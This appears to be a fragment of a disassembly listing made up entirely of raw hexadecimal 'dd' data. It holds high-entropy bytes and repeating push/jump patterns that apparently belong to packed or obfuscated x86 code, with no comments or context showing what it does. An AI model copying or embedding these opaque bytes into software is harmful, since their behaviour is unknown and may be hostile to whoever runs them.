		dd 9FF312AFh, 0AB1F63BDh, 71FB0A8Eh, 0AA447584h, 0F87B56A3h
		dd 789EDEBEh, 63D62C95h, 9B13D93Dh, 446AA3BEh, 16C74B8Fh
		dd 615CA50Dh, 5349B90Dh, 0FB801C52h, 7AD8FD71h,	8EAD4E75h
		dd 7ACB17F9h, 0A6BD91F4h, 0D77BB52Ah, 2610DF21h, 0C5F00508h
		dd 65618517h, 0EA2E4B25h, 2B927690h, 0E31EE2DDh, 0AAFF24A1h
		dd 0EACEFB0Ah, 0B18C9500h, 845F89CDh, 0B3B9C2DAh, 4017863Bh
		dd 0F20BFA50h, 0D5077BCFh, 40053551h, 0A640BA24h, 3CED51A9h
		dd 0E10CDEEBh, 848CBA99h, 0D48A1B99h, 7CA9B3C8h, 54A81C2Dh
		dd 51A6E86h, 95ED2440h,	0C07DF17Bh, 385A4B37h, 1D2C7FAEh
		dd 5CE5B1D5h, 33CC3622h, 0DF058AA7h, 33103E22h,	239814CFh
		dd 0FA1755B5h, 0CFCF79E3h, 204496ADh, 5C4C2D71h, 0C45684FEh
		dd 236C24A0h, 0B2C2AB18h, 8189A79Bh, 61F2CFD8h,	0F2467384h
		dd 3C681072h, 97160CAAh, 6ABD256Eh, 0B397EB5Fh,	73247A0h
		dd 56B4CAB3h, 2880D91Ch, 0F75BBF0Ch, 0F074864Ah, 4A0CE494h
		dd 0AF09271Bh, 91ACF91Eh, 78455A4Bh, 0AFF815CEh, 3692E92h
		dd 0F3000000h, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h
		dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h
		dd 68CF7BCFh, 70E4h, 51241C89h,	0C181E189h, 4, 8704E983h
		dd 895C240Ch, 0C468241Ch, 8900003Ah, 68522404h,	25EF4464h
		dd 81DAF75Ah, 0F16A2BC2h, 0F2814A61h, 3A12F4B6h, 148BD389h
		dd 4C48324h, 24048B54h,	6804C483h, 0E65h, 8F241C89h, 48B0840h
		dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 241C8B5Ch
		dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 0FA9C62E9h, 128332FFh
		dd 0D7E63EACh, 57B8A227h, 30610E2h, 0F0E0FFC5h,	0C44FC760h
		dd 7E0343CDh, 0A655827Bh, 88548A55h, 4C3BFBE3h,	0B174EC9Dh
		dd 0CA44362Ch, 2B647766h, 9405BA7Ch, 0DE7D354Eh, 580406ABh
		dd 6262A64Bh, 0A46F5423h, 8D701DBBh, 10E3D08Dh,	0E9852906h
		dd 8B060B15h, 0B084DBDh, 4D8D8906h, 6A060B17h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0F641C357h, 0C9170E1Ah, 757AE781h, 85C773A1h, 60B0119h
		dd 59C4h, 985C7F5h, 60B10h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 4A1CC356h
		dd 1A49B5FFh, 0BA52060Bh, 1B113EDCh, 0C595FF58h, 6A060B0Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 669AC353h, 9D89C38Bh, 60B075Dh, 0FF006AF9h
		dd 0B32DD95h, 0EBC08B06h, 414EB70Dh, 1C35C661h,	0E3FF9922h
		dd 8EB3233h, 3EA44F4Ch,	2400000h, 0C32E9h, 0E5B26800h
		dd 3AE90610h, 68FFFB5Fh, 610E69Ch, 0FB5F30E9h, 0E81568FFh
		dd 26E90610h, 68FFFB5Fh, 610E8BEh, 0FB5F1CE9h, 0E95668FFh
		dd 12E90610h, 68FFFB5Fh, 610EB78h, 0FB5F08E9h, 0EC3268FFh
		dd 0FEE90610h, 68FFFB5Eh, 610EDACh, 0FB5EF4E9h,	0EEB168FFh
		dd 0EAE90610h, 0FFFFFB5Eh, 0B8BB0482h, 73F6413Dh, 323582FCh
		dd 0F46FD8B6h, 0A0AD1A74h, 6B639B8Fh, 0A620599Ch, 0E2DC1ED9h
		dd 229CD215h, 77E09C55h, 7BAE40AAh, 0B49DC0C9h,	7E5836h
		dd 9D5D4AD7h, 66916975h, 0F873F4AAh, 838C6C9Eh,	0D20C8AE0h
		dd 4FF8D611h, 0AC14CAE0h, 9D5CF6BBh, 0C9C52475h, 3513CF33h
		dd 0E0DE1CD7h, 9E69964Ah, 4F8A588Ah, 4C41E97Fh,	783E41AEh
		dd 48A1A29Ch, 0A40FC14Eh, 6F91E513h, 0D054A7BDh, 53F9D517h
		dd 0E64D60EFh, 0B9BC0E62h, 41h,	9F637B5Eh, 7436B6A1h, 0A03B4F8Ah
		dd 0EB7C2246h, 4A741341h, 0B91555EEh, 33842FDDh, 216F91F7h
		dd 7B53AAC9h, 94EA6D9Fh, 8EBC1A5Dh, 6254F652h, 0BC0305F4h
		dd 97FC55A4h, 8BC0E54h,	0E9h, 5836B42Dh, 229EE87Eh, 0D1A1B00Bh
		dd 99D16A26h, 36B40F3Dh, 538409DAh, 0BAA7759Eh,	76878983h
		dd 403C1C3Eh, 89DB11AAh, 522C1B3Fh, 8DB355Ch, 759DF683h
		dd 3CCA890h, 9DF374F0h,	52AAAD75h, 0DD6AD674h, 1DEAE41Ah
		dd 2AA4DAh, 0AA846E70h,	8B07E5B9h, 52E0C4Fh, 6F92C778h
		dd 0E894A39Fh, 5B83A710h, 0F3AEB997h, 0E84984F4h, 0D6303610h
		dd 6430C375h, 58B61621h, 0CB615D9Fh, 0ED0DE817h, 0ABC32691h
		dd 0B25836B4h, 250924Eh, 9E45A02h, 9CBA263h, 0E9060000h
		dd 0A4C722EDh, 639A5D2Ah, 1D599C6Bh, 0DB13D6A1h, 0F63B14E3h
		dd 3CCCA22h, 400F87E0h,	0FC4B43A5h, 3C8B0379h, 119E4937h
		dd 267BAE42h, 9651746Bh, 16D17E58h, 24E97AD6h, 33759D5Dh
		dd 5D159A4Dh, 0DE22759Dh, 3E398662h, 1B79C6C0h,	1926A0D8h
		dd 9F637BA2h, 7436B6A1h, 0C73B4F8Ah, 34398225h,	65536F92h
		dd 334FDC07h, 94646F92h, 0D326956Bh, 0BC0E1768h, 0B03Bh
		dd 36B4DC00h, 81E57E58h, 0C3BE705h, 2B3C1A40h, 759D5C66h
		dd 3492EA8Dh, 0B434AF58h, 3BBF30DAh, 77759D59h,	37329DF9h
		dd 5B2FDDB9h, 9641BF83h, 4F8A6DFAh, 222503FFh, 4093CDC9h
		dd 6F922DBBh, 68D760D8h, 78569C42h, 845E27EFh, 0E8C63A49h
		dd 0C8B70F6Fh, 0E073CD2Dh, 69847E1Bh, 7DEFE701h, 27837F9Dh
		dd 5AB1592Dh, 79D476E4h, 8E1h, 0CFBD328h, 47308EE9h, 86714DACh
		dd 0C08F0763h, 7EC9C525h, 0B434E011h, 718A6DDAh, 2D4FAA15h
		dd 0ED03E651h, 53CD2691h, 0AE42FB80h, 6E91187Bh, 0ED5A34B4h
		dd 2D9AF40Ah, 0F4D2142Fh, 7582FC7Fh, 3F36B40Eh,	0F72BC1BDh
		dd 106EF11Bh, 0F97A58B6h, 37EB017Dh, 9D5D5F2Ch,	7B847475h
		dd 0FA40A68Ch, 45A8BE9Ch, 99F521Dh, 6B7E03D4h, 0A595759Dh
		dd 0A7AB3EC9h, 6E4F8A79h, 3E3591D5h, 0F62AC0BEh, 0A9C19749h
		dd 1E87B6DEh, 3AF48B94h, 5CB62934h, 7BF14AE0h, 3BB1B403h
		dd 9606A943h, 0ADC6BBF7h, 0E6C4408Bh, 4BB6B07Dh, 43C81BE8h
		dd 50E84BB7h, 61EE52E8h, 0A16E6886h, 3871ADA3h,	0DC84257Eh
		dd 0DAC71E2h, 77CBE84Ch, 0F7CF2DC8h, 0F4A9255h,	4AC2E84Ch
		dd 0AACC077Fh, 2A40232Ch, 0EA00E3ACh, 93BCB2ECh, 836E985Bh
		dd 812AE611h, 0E84BE835h, 0C958A301h, 6C6CDBB3h, 0A3591EBh
		dd 97B5116Fh, 3917DB03h, 38F1062Eh, 0C9271BC2h,	7993EB0Eh
		dd 0A3877681h, 0BB99F73Bh, 23413CB5h, 1621C170h, 2D58D343h
		dd 0D872CEBCh, 890561E2h, 0C590BF63h, 0DC355A75h, 9D8F0761h
		dd 0A209EDAh, 36F0DB99h, 0E9408B41h, 4F6AED82h,	47925h
		dd 0D7A43200h, 0D5759D5Ch, 759D6E84h, 9D49E142h, 4A86D775h
		dd 4B93759Dh, 7E5E89E7h, 734F8A3Dh, 0F1FBB58Fh,	7A10DE4Ch
		dd 7689Bh, 724CA100h, 8F076285h, 0C8C625C0h, 680E47Fh
		dd 403EBEB9h, 4D5996F7h, 3E6512Dh, 0C023ECEAh, 845F28A6h
		dd 4A9F6866h, 4474392Ah, 0E837BAEh, 5836B4D7h, 0F00BCCB2h
		dd 7B847496h, 6D4BAF37h, 8CBA59FAh, 2D9A664Fh, 0D40A01AAh
		dd 1B27306Eh, 0E2497991h, 46880661h, 0F62EBB1Dh, 0FEA2AD76h
		dd 0C7232402h, 16C140CFh, 981FBC84h, 85E3479Fh,	0CF2DE52h
		dd 0ADCC0794h, 0E17A26D1h, 3C1C0E88h, 8DEAA40h,	9713C422h
		dd 928E0159h, 0D4FA70AEh, 0FB0D9A6h, 292AAA55h,	0E90CFBD3h
		dd 79393B93h, 8E9FD5CEh, 6BF211Ch, 0F50A0000h, 0B0CB2E99h
		dd 6F8E69D6h, 294DA817h, 0E707E2ADh, 22F20EFh, 0FF8D616h
		dd 4C3B93D4h, 88774FA9h, 0C8B70F6Dh, 1DE27523h,	3A7BAE45h
		dd 637B0077h, 0E60482F8h, 0F7605E3Ah, 4F8A6AEBh, 4718320Eh
		dd 24BFAD29h, 9C27C5C1h, 0ABC8625Ch, 48BC6655h,	15C92396h
		dd 5C60F32Dh, 79497F58h, 9A233681h, 58698739h, 698737D3h
		dd 0C6AD016h, 76957ADBh, 5FB98143h, 798F6A89h, 0DE698974h
		dd 0A7F3B932h, 992F6375h, 0B56375A8h, 0DF855F37h, 3CEA6986h
		dd 6274F8Eh, 8DE20000h,	48A34631h, 766814Eh, 0C125C08Fh
		dd 7FFF7AC5h, 9A57B807h, 0A7106E8Eh, 0E4532B4Ch, 20EFE701h
		dd 602FA7C5h, 0B57AED8Bh, 0C27BAE45h, 637BA8CFh, 43A6A19Fh
		dd 0CF88F021h, 0F551B218h, 7C5CEB57h, 8DB24AEBh, 84AF8D4Fh
		dd 6F8D70F7h, 11C23C1Ch, 6F8D708Ch, 0F4A857ABh,	1F5DE604h
		dd 0ED2D8A7h, 5A52914Ah, 8F6BE3BCh, 2AA4DA9Dh, 6A649A5Dh
		dd 85017FC0h, 3D99DC67h, 0DA36B40Fh, 8D858409h,	0F3AF936Fh
		dd 6B638659h, 0EF9960C0h, 3849B088h, 1D7BC4C2h,	1A25A1DAh
		dd 12C52C97h, 8DEF68BCh, 0D2110631h, 26000001h,	0A19F637Bh
		dd 0C14E48A6h, 663010C3h, 0CD4D4F8Ah, 4741945Fh, 8DCB6F92h
		dd 0B755314Ah, 0D524BC4Bh, 0A19F637Bh, 2DF26543h, 4A6F9246h
		dd 87FF7DF6h, 0FF8AB565h, 497F4FD7h, 3F3816EAh,	0F028C2BCh
		dd 0DF1DD847h, 302DF265h, 0F64A6987h, 2FC24F98h, 69D16987h
		dd 0A6C49F8Dh, 0F675CE28h, 0AA806F98h, 0B290CE34h, 13690EBCh
		dd 0B946CA2Fh, 73A0DA2Eh, 0D973CF43h, 8E0860E3h, 0C093BC9Ch
		dd 637BA177h, 12C52311h, 637B9F8Dh, 0D3A956AAh,	42BBBCE8h
		dd 34F96A44h, 43637BA0h, 0F65D50FFh, 0A9C824A6h, 49h, 0F8637B4Eh
		dd 5EE40680h, 0E46C446Fh, 6BC7A3E2h, 86192F0Dh,	0A3E5506h
		dd 281DE275h, 0C63A759Eh, 0D20ADD6Ah, 0DF4F8B3Eh, 0D566C963h
		dd 836F92FEh, 7BFC6E68h, 4638905h, 74CBBD0Ch, 4FB40DFCh
		dd 0D0BC0D4Dh, 0CEh, 0E07351E5h, 759D5D1Bh, 5CAE73E4h
		dd 75C5759Dh, 0E0DE1CC7h, 0D3A964Ah, 90BA146Ah,	0EDBDAFCFh
		dd 0F872F209h, 99CB5083h, 10E8759Dh, 0A932D8B4h, 0ED17B53h
		dd 2B2996F0h, 54F6D028h, 4C885BE4h, 60759D96h, 0EFC38C0Ah
		dd 0D9A6B1F7h, 0FE759D94h, 2EA8C102h, 0BDC31472h, 44F8FC5h
		dd 0E4703D26h, 0BB876F8Fh, 0E68D08Ch, 6ED9B535h, 0F848D86Eh
		dd 6876F95h, 2A723F28h,	0B9816F90h, 3B93EB8Eh, 4F048D39h
		dd 0CD08A2DEh, 405h, 68D7AFCCh,	0A36C6A8Dh, 0E2AD2940h
		dd 1CEBE307h, 5A25A1D9h, 90E8BC75h, 4DAE4936h, 9638671h
		dd 0C927C28Dh, 8FE902CDh, 0AE47D7A4h, 4AADFC7Bh, 0CAC49B51h
		dd 838DFA97h, 1D79F174h, 5D39B7B2h, 36B48BF2h, 87E57E58h
		dd 8B4C000Fh, 293F1975h, 21DC5BCFh, 0CC3BC45Ch,	0DE13A4D5h
		dd 0C624759Ch, 9CDC901Dh, 7C5A9E75h, 2D562DEh, 759CDDB9h
		dd 5AB47E60h, 0DD26EB7Ch, 0CD4D759Ch, 0E3644242h, 0B6370C8Ah
		dd 41CE32D8h, 8C3A0DB6h, 0F775CE4Fh, 26CC709Fh,	2B8C10BFh
		dd 4CFE5A26h, 3B93D56Eh, 941E2911h, 0A58EE852h,	4978CE89h
		dd 20B68C8Ch, 37E45E80h, 34BB895h, 69860000h, 2447A26Dh
		dd 0E31ADDAAh, 9DD91CEBh, 5B935621h, 76BB9463h,	834C4AA2h
		dd 0C08F0760h, 7CCBC325h, 0BC0B83F9h, 911EC9B7h, 0A67BAE48h
		dd 9651F4EBh, 15D07F57h, 8A4DFFD7h, 0AFAD1A74h,	5D19E671h
		dd 0C23E759Dh, 81697D35h, 5868BCA7h, 0FD5D4F8Ah, 0DB7D4D83h
		dd 76C76262h, 3B3894F2h, 0F424C6C0h, 9D2E814Bh,	4B6F916Bh
		dd 2CB75531h, 895FCDC9h, 735CD58Fh, 263C127Dh, 966ED1D3h
		dd 0A265CE23h, 46C6BC0Eh, 0DF000000h, 0A19F637Bh, 0BF4846A6h
		dd 73D616C1h, 0E5DB4F8Ah, 9232AD72h, 40CD166Fh,	576F9233h
		dd 418351EBh, 0A3025AFAh, 0C369C5A1h, 0E7B4BF9Dh, 0C6F91F2h
		dd 0E770030Ch, 816F91F3h, 0C229804Bh, 65BC0E57h, 0E5h
		dd 5836B472h, 92D129B2h, 10C8625Ch, 61995AB4h, 0AD36DA65h
		dd 4C97F54Fh, 759D5CBFh, 32FF64D4h, 41759D5Dh, 95BCC693h
		dd 63DF1EA6h, 9CD26587h, 46825522h, 7A759E3Dh, 3A3D8A04h
		dd 8EECCAC4h, 9E3BD8A5h, 6B302375h, 88759E3Bh, 89B68AB0h
		dd 0A02BB3C7h, 0B0EE4A44h, 78569152h, 16E16ED2h, 4F8B4A1Eh
		dd 0EBE304DFh, 7E58A05Ch, 0FD0A84E5h, 0B5350E0Eh, 62842ED9h
		dd 2944C91Ah, 0EF536F93h, 0DA12D533h, 65924EFCh, 55ECFC67h
		dd 79C14985h, 0A8A4C41Fh, 8575F2BFh, 5D390169h,	9FF777F2h
		dd 59B93D45h, 0DD38D2E4h, 1D1h,	1CEBE318h, 57209ED9h, 96615D9Ch
		dd 0D0BF1753h, 0EF9D515h, 0C424F001h, 81FA7DCAh, 3DBFBA05h
		dd 0FD73F641h, 433D3681h, 0AE4A0B90h, 7E61287Bh, 0ED5A34B4h
		dd 2D9AF40Ah, 9F637B36h, 0B48D43A1h, 6ED2BBA0h,	1592631h
		dd 827E759Eh, 0E4E1926h, 34F8B18h, 0A0A62058h, 0D2EC4CCFh
		dd 33D9B502h, 15718A4Dh, 0A463283Bh, 88706F92h,	0A563F47Fh
		dd 0F70D6F92h, 0A746AD04h, 0F84EBC0Dh, 1118784h, 9A8BB424h
		dd 0B6h, 0FD6644A2h, 6F92C630h,	0A368FB47h, 0B06F92C5h
		dd 51D8BF48h, 345E279Bh, 5956B649h, 51698A65h, 0D093BC18h
		dd 0B50E3C9Ah, 0FE163335h, 229E3305h, 49E26846h, 93C1920Bh
		dd 228547F0h, 759DD2A6h, 9D6A649Ah, 80AA245Ah, 2A04EEF0h
		dd 8AE00939h, 19CA284Fh, 6F92BE94h, 0CB05FA3h, 776F430Ch
		dd 178255B3h, 0F44984EFh, 0D1292A04h, 8FEF0AF5h, 20AF3D37h
		dd 2EDCE45Ah, 0CCEFh, 0EEE80500h, 2BA3C621h, 6462995Ch
		dd 0A21C589Bh, 0FCDA12D5h, 21F53A13h, 0E702CDC9h, 0A4BF0886h
		dd 78FB4442h, 363B8402h, 4B109D46h, 6A277BAEh, 5A34B473h
		dd 9AF40AEDh, 36B4362Dh, 0BCCB258h, 3FCC17F1h, 54759D5Dh
		dd 64FF08E4h, 378FEF06h, 0FE492515h, 0EAB7A09Eh, 9759D5Ch
		dd 7978725Bh, 0BB17396Eh, 7AC0268Ch, 0C4253E1Ch, 5AA3DCAh
		dd 124F8D59h, 45BB3C2Eh, 90D46F49h, 0DF1A0936h,	0AC0725A1h
		dd 374058CBh, 58E9D016h, 18DBA422h, 0FD46E4E2h,	0B9EF1D79h
		dd 675F985Bh, 0A8B900D8h, 688B7452h, 2896B412h,	18144322h
		dd 2FC070F3h, 362026DAh, 4DE76939h, 90A79E33h, 0ACC31DEh
		dd 0E9000000h, 0B9323593h, 44F32FDDh, 5F37B45Dh, 0FAD42AADh
		dd 116D8F50h, 8F0760FBh, 24A2DA9Dh, 413DBD06h, 0FAD410ABh
		dd 16708F50h, 8E0863F4h, 3B68199Ch, 89000034h, 62682434h
		dd 8900003Dh, 89572404h, 4C781E7h, 81000000h, 4EFh, 243C8700h
		dd 241C895Ch, 8904EC83h, 4BBB241Ch, 890610E4h, 0EC815BD8h
		dd 4, 81242489h, 42404h, 685B0000h, 5863h, 89243C89h, 87B89C7h
		dd 241C8B5Fh, 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch
		dd 81582434h, 4C4h, 531BE900h, 0AA17FFFBh, 0AEFD322Eh
		dd 0B8AF0472h, 610EFA2h, 0E0FFC503h, 46AD115Dh,	1B263D0Dh
		dd 2B71C282h, 68CE047Bh, 7F2B65AFh, 7B1DD432h, 3DC7BF4h
		dd 7EC077E2h, 43C168F7h, 7D109B7h, 3156B34Dh, 39B6FDFDh
		dd 41D57F6Fh, 413E4A6Ch, 314BDF22h, 649FD689h, 5423E5D1h
		dd 4A8DBEB2h, 34972B24h, 6772D7F2h, 0F17E8D8Dh,	66500610h
		dd 5F858DBAh, 174D8D89h, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 5873A2C3h, 0FA8EC9E1h
		dd 0E9FBA440h, 0Ch, 0AB34E372h,	11A0B9Ch, 0CCAD510Ch, 11985C7h
		dd 6F90060Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0F2FBE9C3h, 0B30BA3BEh, 985C7C8h
		dd 60B10h, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0D275C356h, 0DEBA0C54h, 7BA00166h
		dd 0EE9h, 0CC7BE900h, 0F2442EE4h, 9AD5C681h, 0FF5AA0DAh
		dd 0B1AA9B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 5EB68DD6h, 9E9h, 1613B300h, 0C002BE43h
		dd 95FFE82Eh, 60B0AC5h,	0F08B6656h, 69BD895Eh, 6A060B07h
		dd 0DD95FF00h, 8B060B32h, 24FEBC0h, 0D4BD645h, 72BFB30h
		dd 3A8B8D25h, 0FEE7FD95h, 0CF2DC435h, 7F248539h, 503BC5B7h
		dd 0BE598A54h, 0E6E775D8h, 355A26FEh, 51458F78h, 0E692C404h
		dd 853C12F3h, 8EC48009h, 0C4D0E24Fh, 31D8BA5Eh,	8E6DFA2Dh
		dd 41E22696h, 6917CADh,	13E8662Fh, 95000000h, 0D354F759h
		dd 830B53EFh, 5271075h,	14336D91h, 32BAA5B4h, 58400934h
		dd 81D38B66h, 6B71C0h, 91952300h, 0BB060B07h, 60C32C67h
		dd 0EE51C381h, 0D7819F3Ch, 1A5A4D55h, 0B50130FFh, 60B0635h
		dd 5870F5Eh, 66000000h,	4F4CE781h, 46BAC681h, 0BA661B10h
		dd 0F6811319h, 5AB43611h, 8AEE81FCh, 0B1E5046h,	0B28B195h
		dd 83308906h, 0BD8B01E8h, 60B001Dh, 0E9484848h,	0Dh, 74762138h
		dd 2138B877h, 0B8777476h, 850F4B38h, 0FFFFFFA8h, 7D2DBF66h
		dd 7D0079EBh, 218CEF9Eh, 0AFD60FE2h, 0B2979FABh, 0B7E37C4Dh
		dd 0E5720095h, 9CB5E9A9h, 77609BB6h, 94A9B6F3h,	0D7609EB7h
		dd 0BD897D60h, 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h, 937E9BB9h
		dd 96B99D89h, 9E96AFF4h, 0D6B594A1h, 0FD91A7h, 4ACC48D1h
		dd 713C3359h, 0DB4D5200h, 0D65EF357h, 0B79BB7h,	95ABAFF6h
		dd 0F0009F89h, 0D7C77156h, 1800BEB3h, 0C4D75671h, 2273E2ADh
		dd 0E9554F4Dh, 1077h, 10F4ED68h, 8C41E906h, 0C068FFFAh
		dd 0E90610F5h, 0FFFA8C37h, 10F69068h, 8C2DE906h, 0EB68FFFAh
		dd 0E90610F7h, 0FFFA8C23h, 10F87068h, 8C19E906h, 4268FFFAh
		dd 0E90610F9h, 0FFFA8C0Fh, 10F9DD68h, 8C05E906h, 0AB68FFFAh
		dd 0E90610FAh, 0FFFA8BFBh, 10FB6A68h, 8BF1E906h, 3068FFFAh
		dd 0E90610FCh, 0FFFA8BE7h, 10FDB168h, 8BDDE906h, 9D68FFFAh
		dd 0E9061100h, 0FFFA8BD3h, 11019068h, 8BC9E906h, 66B0FFFAh
		dd 0C1BF46Fh, 0BAC9263Dh, 6BB35C87h, 1A1E8F54h,	5299383Bh
		dd 855E61BBh, 352E1368h, 62F1CCD8h, 9E457085h, 1377FF6Dh
		dd 94C584EEh, 0D5DEBF25h, 5F231E6Dh, 0A9B3077Bh, 67234D32h
		dd 7EA4D520h, 6B7A856Fh, 0D2ED37D0h, 18362A6Eh,	220EE035h
		dd 97F99A52h, 4DDF0478h, 87DFABC3h, 6A50C394h, 89A79AE3h
		dd 0EDC6735h, 9F831BE6h, 62D62CBDh, 618982C2h, 1885573Ah
		dd 764A3E03h, 35CFDED8h, 2C35A114h, 5C3Dh, 0D6FDB00h, 0EC39E476h
		dd 5409680Ah, 0C6011F9h, 0C0AA44B8h, 9F1A0DACh,	0B41862BDh
		dd 9CE914A6h, 69F9DDA1h, 3A60E81Dh, 0F67EA892h,	3A60E896h
		dd 0E70F9943h, 3A60E8E3h, 59AF1E64h, 0E7E6C06Eh, 792DFE5Dh
		dd 0C259C37Fh, 0A4133A24h, 0B2292C35h, 0A2EB03D1h, 5A1FC97Eh
		dd 0D5h, 0F8D5DEA2h, 0BB5FA514h, 99007A94h, 0F4E874h, 8D714C59h
		dd 136BCBDCh, 64582Ch, 0C6024BD3h, 27D6C394h, 3A1EE2DDh
		dd 0D9F4010Ch, 0AD98ED1Ah, 0A0BBC1D9h, 169E28BAh, 0C394C472h
		dd 310C18F5h, 0FB15094Dh, 9FDA6E6Bh, 8C20B2BDh,	3A61B2F8h
		dd 7EDD0B4Fh, 0D027D604h, 20AC47E1h, 2296ADF5h,	207C40EEh
		dd 375DD11Bh, 88446C23h, 247DA8B2h, 0B751B519h,	8DB0C835h
		dd 0D370E05Fh, 563A1762h, 0AD5AC572h, 0FED2EF34h, 22769750h
		dd 0A376D413h, 858D8C6Ah, 0DD5C2h, 0E8E73300h, 0BE8B9A0Bh
		dd 3948A5h, 0D5EC32D3h,	0A49BE10Eh, 3AD118BFh, 0EB04DFE6h
		dd 5BB4AF92h, 4E1724Dh,	0EC1DC6F3h, 0E99CE87Ch,	0A413C584h
		dd 0FBDADE3Ch, 0DA7A8F78h, 589BFFC6h, 0AD0D6FB8h, 0B22F195Dh
		dd 6FFDD189h, 0E9E430DDh, 0C606B73Fh, 1367BD9Fh, 0FCCDDCC9h
		dd 1676FE52h, 0C33A6184h, 0D3CD4D1h, 242C368Ah,	0ADh, 0F8D5DEC0h
		dd 605FA514h, 1B0D549Ch, 5BACC394h, 611FC6Eh, 0E50347CBh
		dd 0A590E502h, 0B8C3D9D1h, 0FF3F3AB2h, 0CA304260h, 6A1E9620h
		dd 903A60CCh, 60CC681Ch, 3C9BFF3Ah, 0EF4F28C6h,	8CBD2D8Dh
		dd 0EFABD5CFh, 639C6C6Dh, 0DD315FAAh, 68EEE70Fh, 1B7F446Dh
		dd 0E1DC24D1h, 0B08F9572h, 6ACDC5B7h, 0B708FA8Ch, 0D02h
		dd 263D141Eh, 5083BEC9h, 8E5564B7h, 393A1961h, 6A89B4CCh
		dd 136984EBh, 0C1D6372Ch, 7E8667FCh, 26739C47h,	29C3C82Bh
		dd 84E8C185h, 1F746C5h,	78FBDADEh, 4F201ECh, 0EB1C63B8h
		dd 20CE2234h, 76EDD82Dh, 0F8D5DE8Eh, 6550A514h,	0CF0211FEh
		dd 4281927Bh, 941D5E2Ah, 3E9D1C3h, 941D9FEBh, 362A10C3h
		dd 93AEF924h, 0BA3DEB2Fh, 0F983BDD5h, 5174F862h, 0D6BD9F05h
		dd 0A7B8BECh, 3C34EAD6h, 9D11DB60h, 0BFF450D8h,	49A1156Dh
		dd 5D68BD33h, 0BFCB63E9h, 303FCB62h, 0E004D6CAh, 3FCB62E4h
		dd 2933176Bh, 2A9EABFCh, 3EB638D6h, 41C6AD56h, 9A0BD129h
		dd 1CAEBC89h, 0C51CFC88h, 0E10F7335h, 0A19CE906h, 10200A6h
		dd 0B017F38Ah, 0C32h, 0D60D444Eh, 0D3EE39h, 0BEA594E7h
		dd 0E90A4951h, 1AD9E43Ch, 4359B4BBh
		dd 0F106E77Ch, 0AEF617CCh, 56A34C97h, 0D913F87Bh, 84EB3155h
		dd 51C7B6C5h, 14F8D5DEh, 0E1058814h, 0C3941DE5h, 50241564h
		dd 5BBF837Ch, 9BEF0791h, 6CC3941Dh, 0FE76F816h,	0BD9F1EABh
		dd 56DEA51h, 8550957h, 0DA1961DEh, 0F17B009Ch, 6B03687Dh
		dd 5785FD44h, 0B1080BE8h, 0BA548835h, 9BEE9E56h, 0B13B307Dh
		dd 9BFB8F27h, 764C307Dh, 35CFDED8h, 262A7714h, 92ADFB2Ah
		dd 1FE3DE2Bh, 44740D3Bh, 90000000h, 90E30D6Fh, 59745B9h
		dd 92BC8D98h, 9EE155C2h, 7EECD6BDh, 9C4E798Fh, 640C303Fh
		dd 43EDEF96h, 684C3EA0h, 43B23A60h, 63EA043Bh, 6F66AE16h
		dd 0E93FE80Bh, 97E10CDEh, 56F0D4B8h, 0B541DF2h,	6FA70000h
		dd 5AE4760Dh, 1D20A4C8h, 51A9C394h, 83AD9562h, 844A48F3h
		dd 0AAC24CBDh, 3A7B10DEh, 40BF6951h, 0F005F07Ah, 82764B50h
		dd 105034B8h, 0E3D73A7Bh, 5F48AB8Fh, 6165894Ah,	0E63A7B10h
		dd 0D4D4B89Ch, 5A9B3C8h, 446B47EBh, 1B6F8711h, 0EC304A07h
		dd 7C9B7896h, 6D7DB05h,	0CB117597h, 67FCC9DAh, 0FC407D86h
		dd 915BE0BCh, 41A1001Dh, 62EDD54Eh, 927E4D46h, 0D7F255BDh
		dd 3500000Ah, 9C09EAE1h, 4ABBB889h, 34D1023Fh, 0E30CD7EEh
		dd 6BDA699h, 0D9E43CDFh, 0A994ED1Ah, 7C4B5D4Ah,	0C0FD06E7h
		dd 0EA02EE13h, 0C584EA9Eh, 0A73AA211h, 0C3941D27h, 6CFE8517h
		dd 844A3EF8h, 0C8DCB1BDh, 0D13509FDh, 29899A0Bh, 162B76DEh
		dd 160A6EA2h, 0BD3143CDh, 3A7B13C9h, 43CA645Eh,	24D11B36h
		dd 0C246E0D1h, 0A349D2AAh, 70105E0Bh, 505D8244h, 0DE2F444Eh
		dd 47BB98B6h, 6E7BCA88h, 4639098Ch, 0A52h, 0F66D64AEh
		dd 20330E19h, 5E85B4C7h, 896A69B1h, 3A39041Ch, 63B9549Bh
		dd 1166875Ch, 0CED6372Ch, 76836CF7h, 0F973985Bh, 84E51175h
		dd 0B12796C5h, 1B6DD5DEh, 0A6F1582Ch, 1A5B7ABh,	0C3941D45h
		dd 289CF0CAh, 0B5193441h, 72F6F78Dh, 0F4457483h, 0E82C90A1h
		dd 0D2DDC3Eh, 28043240h, 0E0000004h, 764B50BDh,	1CA04E82h
		dd 8471FB80h, 0CDB59D73h, 0D01781E7h, 1A3408FCh, 102EDC50h
		dd 0CCA1BD84h, 0C5398DB8h, 798A7BE1h, 2D76974Ch, 0C484AC10h
		dd 263A7B75h, 99634BB9h, 0B452621Bh, 5D8F94E8h,	9E526CD3h
		dd 7B4E62h, 1C70C4F5h, 23460E38h, 0C94470F0h, 0FA08292h
		dd 7071E3E7h, 0E11E6430h, 79974150h, 1DA7A09Ah,	0E28C6DD9h
		dd 980AF60h, 8A9C0000h,	3047A0B3h, 0E635D201h, 879F08EBh
